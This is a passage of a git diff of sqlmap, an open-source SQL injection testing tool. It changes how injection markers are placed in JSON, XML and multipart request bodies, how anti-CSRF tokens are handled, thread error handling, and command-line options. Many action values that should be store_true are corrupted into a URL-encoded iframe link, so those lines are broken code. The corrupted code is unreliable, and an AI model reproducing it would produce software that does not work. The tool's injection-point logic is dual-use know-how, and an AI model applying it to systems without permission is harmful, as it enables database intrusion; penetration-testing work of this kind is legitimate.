POST_HINT.ARRAY_LIKE - - elif re.search(XML_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) + + kb.postHint = POST_HINT.JSON_LIKE + + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) + + kb.postHint = POST_HINT.ARRAY_LIKE + + elif re.search(XML_RECOGNITION_REGEX, conf.data): + message = "SOAP/XML data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML - - elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) + + kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML + + elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): + message = "Multipart-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.MULTIPART + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + + kb.postHint = POST_HINT.MULTIPART if not kb.postHint: - if CUSTOM_INJECTION_MARK_CHAR in conf.data: # later processed + if kb.customInjectionMark in conf.data: # later processed pass else: place = PLACE.POST @@ -208,12 +227,12 @@ def process(match, repl): conf.paramDict[place] = paramDict testableParameters = True else: - if CUSTOM_INJECTION_MARK_CHAR not in conf.data: # in case that no usable parameter values has been found + if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data - kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks + kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"): + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " @@ -222,31 +241,32 @@ def process(match, repl): message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if test and test[0] in ("q", "Q"): + if choice == 'Q': raise SqlmapUserQuitException - elif not test or test[0] not in ("n", "N"): - conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR) + elif choice == 'Y': + conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" - if CUSTOM_INJECTION_MARK_CHAR in _: + if kb.customInjectionMark in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} - message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR + message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): + choice = readInput(message, default='Y').upper() + + if choice == 'Q': raise SqlmapUserQuitException else: - kb.processUserMarks = not test or test[0] not in ("n", "N") + kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True - if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" @@ -278,13 +298,13 @@ def process(match, repl): if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] - if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): - parts = value.split(CUSTOM_INJECTION_MARK_CHAR) + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): + parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): - conf.paramDict[place]["%s #%d%s" % (header, i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts)))) - conf.httpHeaders[index] = (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) + conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) + conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) else: - parts = value.split(CUSTOM_INJECTION_MARK_CHAR) + parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): name = None @@ -294,8 +314,8 @@ def process(match, repl): name = "%s %s" % (kb.postHint, _) break if name is None: - name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR) - conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) + name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) + conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] @@ -307,7 +327,7 @@ def process(match, repl): if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): - conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "") + conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: @@ -356,8 +376,8 @@ def process(match, repl): if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) - conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, CUSTOM_INJECTION_MARK_CHAR)} - conf.httpHeaders = [(header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) for header, value in conf.httpHeaders] + conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} + conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders] testableParameters = True if not conf.parameters: @@ -377,14 +397,17 @@ def process(match, repl): raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): + if conf.csrfToken: + break + for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " - test = readInput(message, default="N") - if test and test[0] in ("y", "Y"): - conf.csrfToken = parameter - break + + if readInput(message, default='N', boolean=True): + conf.csrfToken = getUnicode(parameter) + break def _setHashDB(): """ @@ -392,7 +415,7 @@ def _setHashDB(): """ if not conf.hashDBFile: - conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") + conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) if os.path.exists(conf.hashDBFile): if conf.flushSession: @@ -418,7 +441,7 @@ def _resumeHashDBValues(): kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) - if kb.errorChunkLength and kb.errorChunkLength.isdigit(): + if isNumPosStrValue(kb.errorChunkLength): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None @@ -431,7 +454,7 @@ def _resumeHashDBValues(): if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): - injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items())) + injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) if injection not in kb.injections: kb.injections.append(injection) @@ -471,9 +494,8 @@ def _resumeDBMS(): message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) @@ -507,9 +529,8 @@ def _resumeOS(): message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os @@ -528,11 +549,12 @@ def _setResultsFile(): if not conf.resultsFP: conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) try: - conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) + conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) except (OSError, IOError), ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) - conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1] + handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") + os.close(handle) conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename logger.warn(warnMsg) @@ -630,30 +652,31 @@ def _createTargetDirs(): conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) - if not os.path.isdir(conf.outputPath): - try: + try: + if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath, 0755) - except (OSError, IOError), ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception, _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) + except (OSError, IOError, TypeError), ex: + try: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + except Exception, _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) - warnMsg = "unable to create output directory " - warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + warnMsg = "unable to create output directory " + warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warn(warnMsg) - conf.outputPath = tempDir + conf.outputPath = tempDir try: with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) + f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: diff --git a/lib/core/testing.py b/lib/core/testing.py index 23dd751ac23..ec53aa1de93 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import codecs diff --git a/lib/core/threads.py b/lib/core/threads.py index 650301cb7b8..c1e05cb14a1 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import difflib @@ -11,8 +11,6 @@ import time import traceback -from thread import error as ThreadError - from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -47,6 +45,7 @@ def reset(self): self.lastComparisonPage = None self.lastComparisonHeaders = None self.lastComparisonCode = None + self.lastComparisonRatio = None self.lastErrorPage = None self.lastHTTPError = None self.lastRedirectMsg = None @@ -65,10 +64,7 @@ def reset(self): ThreadData = _ThreadData() -def getCurrentThreadUID(): - return hash(threading.currentThread()) - -def readInput(message, default=None): +def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass @@ -88,7 +84,7 @@ def getCurrentThreadName(): return threading.current_thread().getName() -def exceptionHandledFunction(threadFunction): +def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: @@ -96,8 +92,11 @@ def exceptionHandledFunction(threadFunction): kb.threadException = True raise except Exception, ex: - # thread is just going to be silently killed - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + if not silent: + logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + + if conf.verbose > 1: + traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation @@ -151,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio try: thread.start() - except ThreadError, ex: + except Exception, ex: errMsg = "error occurred while starting new thread ('%s')" % ex.message logger.critical(errMsg) break @@ -189,6 +188,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + if conf.verbose > 1: + traceback.print_exc() + except: from lib.core.common import unhandledExceptionMessage @@ -208,7 +210,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio if lock.locked(): try: lock.release() - except thread.error: + except: pass if conf.get("hashDB"): diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index f83ee895c7c..71950f24105 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend diff --git a/lib/core/update.py b/lib/core/update.py index 279467687e9..5544fdbf3d0 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import locale diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 508091e088c..90d26d4835b 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/parse/banner.py b/lib/parse/banner.py index bc617084d7a..20d62bab0b0 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index de52f5b3689..776ed35fe79 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -31,7 +31,6 @@ from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.shell import clearHistory @@ -48,7 +47,8 @@ def cmdLineParser(argv=None): checkSystemEncoding() - _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") + _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) @@ -149,8 +149,8 @@ def cmdLineParser(argv=None): request.add_option("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") - request.add_option("--ignore-401", dest="ignore401", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", - help="Ignore HTTP Error 401 (Unauthorized)") + request.add_option("--ignore-code", dest="ignoreCode", type="int", + help="Ignore HTTP error code (e.g. 401)") request.add_option("--ignore-proxy", dest="ignoreProxy", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Ignore system default proxy settings") @@ -321,7 +321,7 @@ def cmdLineParser(argv=None): detection.add_option("--risk", dest="risk", type="int", help="Risk of tests to perform (1-3, " - "default %d)" % defaults.level) + "default %d)" % defaults.risk) detection.add_option("--string", dest="string", help="String to match when " @@ -482,10 +482,10 @@ def cmdLineParser(argv=None): help="Use WHERE condition while table dumping") enumeration.add_option("--start", dest="limitStart", type="int", - help="First query output entry to retrieve") + help="First dump table entry to retrieve") enumeration.add_option("--stop", dest="limitStop", type="int", - help="Last query output entry to retrieve") + help="Last dump table entry to retrieve") enumeration.add_option("--first", dest="firstChar", type="int", help="First query output word character to retrieve") @@ -617,9 +617,6 @@ def cmdLineParser(argv=None): general = OptionGroup(parser, "General", "These options can be used " "to set some general working parameters") - #general.add_option("-x", dest="xmlFile", - # help="Dump the data into an XML file") - general.add_option("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") @@ -629,13 +626,14 @@ def cmdLineParser(argv=None): general.add_option("--batch", dest="batch", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", - help="Never ask for user input, use the default behaviour") + help="Never ask for user input, use the default behavior") general.add_option("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") - general.add_option("--charset", dest="charset", - help="Force character encoding used for data retrieval") + general.add_option("--check-internet", dest="checkInternet", + action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", + help="Check Internet connection before assessing the target") general.add_option("--crawl", dest="crawlDepth", type="int", help="Crawl the website starting from the target URL") @@ -647,13 +645,18 @@ def cmdLineParser(argv=None): help="Delimiting character used in CSV output " "(default \"%s\")" % defaults.csvDel) + general.add_option("--charset", dest="charset", + help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") + general.add_option("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") + general.add_option("--encoding", dest="encoding", + help="Character encoding used for data retrieval (e.g. GBK)") + general.add_option("--eta", dest="eta", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", - help="Display for each output the " - "estimated time of arrival") + help="Display for each output the estimated time of arrival") general.add_option("--flush-session", dest="flushSession", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", @@ -667,6 +670,9 @@ def cmdLineParser(argv=None): action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Ignore query results stored in session file") + general.add_option("--har", dest="harFile", + help="Log all HTTP traffic into a HAR file") + general.add_option("--hex", dest="hexConvert", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Use DBMS hex function(s) for data retrieval") @@ -738,10 +744,6 @@ def cmdLineParser(argv=None): action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Work in offline mode (only use session data)") - miscellaneous.add_option("--page-rank", dest="pageRank", - action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", - help="Display page rank (PR) for Google dork results") - miscellaneous.add_option("--purge-output", dest="purgeOutput", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Safely remove all content from output directory") @@ -760,6 +762,9 @@ def cmdLineParser(argv=None): miscellaneous.add_option("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") + miscellaneous.add_option("--web-root", dest="webRoot", + help="Web server document root directory (e.g. \"/var/www\")") + miscellaneous.add_option("--wizard", dest="wizard", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help="Simple wizard interface for beginner users") @@ -771,15 +776,18 @@ def cmdLineParser(argv=None): parser.add_option("--murphy-rate", dest="murphyRate", type="int", help=SUPPRESS_HELP) - parser.add_option("--pickled-options", dest="pickledOptions", + parser.add_option("--disable-precon", dest="disablePrecon", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help=SUPPRESS_HELP) - parser.add_option("--disable-precon", dest="disablePrecon", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", + parser.add_option("--disable-stats", dest="disableStats", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help=SUPPRESS_HELP) parser.add_option("--profile", dest="profile", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help=SUPPRESS_HELP) + parser.add_option("--force-dbms", dest="forceDbms", + help=SUPPRESS_HELP) + parser.add_option("--force-dns", dest="forceDns", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", help=SUPPRESS_HELP) @@ -797,6 +805,14 @@ def cmdLineParser(argv=None): parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) + # API options + parser.add_option("--api", dest="api", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore_true", + help=SUPPRESS_HELP) + + parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP) + + parser.add_option("--database", dest="database", help=SUPPRESS_HELP) + parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(optimization) @@ -837,8 +853,9 @@ def _(self, *args): advancedHelp = True extraHeaders = [] + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: - _.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)) + _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ checkDeprecatedOptions(argv) @@ -900,6 +917,9 @@ def _(self, *args): elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) raise SystemExit + elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: + dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i]) + raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit @@ -958,7 +978,7 @@ def _(self, *args): if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ - args.purgeOutput, args.pickledOptions, args.sitemapUrl)): + args.purgeOutput, args.sitemapUrl)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg += "use -h for basic or -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index ac15924dff5..d8ae541d65f 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile @@ -14,13 +14,14 @@ from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import OPTION_TYPE from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None -def configFileProxy(section, option, boolean=False, integer=False): +def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. @@ -30,10 +31,12 @@ def configFileProxy(section, option, boolean=False, integer=False): if config.has_option(section, option): try: - if boolean: + if datatype == OPTION_TYPE.BOOLEAN: value = config.getboolean(section, option) if config.get(section, option) else False - elif integer: + elif datatype == OPTION_TYPE.INTEGER: value = config.getint(section, option) if config.get(section, option) else 0 + elif datatype == OPTION_TYPE.FLOAT: + value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) except ValueError, ex: @@ -91,8 +94,4 @@ def configFileParser(configFile): for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) - - boolean = datatype == "boolean" - integer = datatype == "integer" - - configFileProxy(family, option, boolean, integer) + configFileProxy(family, option, datatype) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 664da4233c6..191466a8dbd 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for 